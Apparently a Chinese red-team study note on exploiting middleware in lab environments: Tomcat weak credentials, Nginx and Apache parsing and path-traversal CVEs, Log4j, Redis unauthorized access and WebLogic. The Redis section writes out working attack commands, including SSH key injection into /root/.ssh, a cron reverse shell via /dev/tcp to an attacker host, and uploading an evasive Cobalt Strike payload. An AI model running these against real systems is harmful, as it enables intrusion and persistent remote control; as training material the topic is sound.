安恒redteam-2(中间件)

一、Tomcat(jsp网站)

弱口令&&部署war包

Vulhub下载yml文件,在kali运行

CVE-2017-12615[put方法]
运行环境:windows 且 开启http put(put默认关闭)
影响版本:apache tomcat 7.0.0-7.0.81
影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项

CVE-2019-0232[CGIServlet命令注入]

CVE-2020-1938[AJP]

弱口令&&部署war包:通用性漏洞-实战存在

War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)

如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。
进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。

拉取镜像

Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置

环境起不来

二、Nginx

CVE-2013-4547[文件名逻辑错误]

起环境

该漏洞在文件名后面加一个空格就可以绕过(linux)

将文件名修改为xx…php[空格] 一样可以发送

通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00

接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行

可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

CVE-201707529[越界读取缓存漏洞]

先启动环境

运行poc,发现获取到了多余的缓存内容

目录穿越

原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越

此时输入../能造成路径穿越

解析漏洞

类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。

但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行

CVE-2019-11043[PHP-FPM远程代码执行漏洞]

三、Apache

CVE-2017-15715[换行解析漏洞]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

上图为环境成功运行的反馈

如下图,直接上传文件会被拦截

在数据包中加入显示

多后缀解析漏洞

CVE-2021-40438[mod_proxy SSRF]

SSI远程命令执行

CVE-20221-41773[路径穿越]

只有符合该版本并且开cgi开启或cgid开启才可能被利用

上图环境起好了

CVE-2021-42013[路径穿越]

是对cve-2017-41773的绕过

Url二次解析绕过

四、Log4j

CVE-2017-5645[反序列化]

Log4j用于控制日志传输。信息格式级别

CVE-2021044228[JNDI注入]

环境起不来

Redis

Docker pull vertigo/redis4

Docker run -p 6379:6379 vertigo/redis4

1、

redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。

利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。

  • redis主从复制getshell

原理:一个实例为主,其他示例为从,主负责写,从负责读。

条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。

工具:redis-rogue-server

Url:https://github.com/Dliv3/redis-rogue-server

命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)

Windows下redis主从复制DLL劫持Getshell

  1. 工具:https://github.com/r35tart/RedisWriteFile //利用工具
  2. 恶意dll通过webshell调用利用:

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll

  • 上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”

下面是第二步dll生成的方式:

  1. github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
  2. 编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp

Linux系统下的redis

原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。

而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。

利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能

在实际情况内网环境中,ssh可能不是22端口。

  1. 在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa

即在当前目录下生成文件。

  • 生成带有换行符的密钥并传入redis

(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt

Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx

  • Config set dir /root/.ssh/   //设置目录
  • Set dbfilename authorized_keys  //设置文件名
  • Save //保存
  • Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x

Redis写入linux计划任务

漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)

利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。

漏洞利用:连接上redis的情况下:

  1. set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n”   //反弹shell监听443端口
  2. Config set dir /var/spool/cron/
  3. Config set dbfilename root
  4. Save

若不成功,需排查原因如出网的端口可能不是80或者443

Weblogic:(jsp网站)

CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞

漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发

Weblogic 10.3.6.0存在漏洞较多

CVE-2020-14883/CVE-2020-14882组合漏洞

14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。

通过14883可以使用14882进行命令执行getshell。

jboss(jsp网站)

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注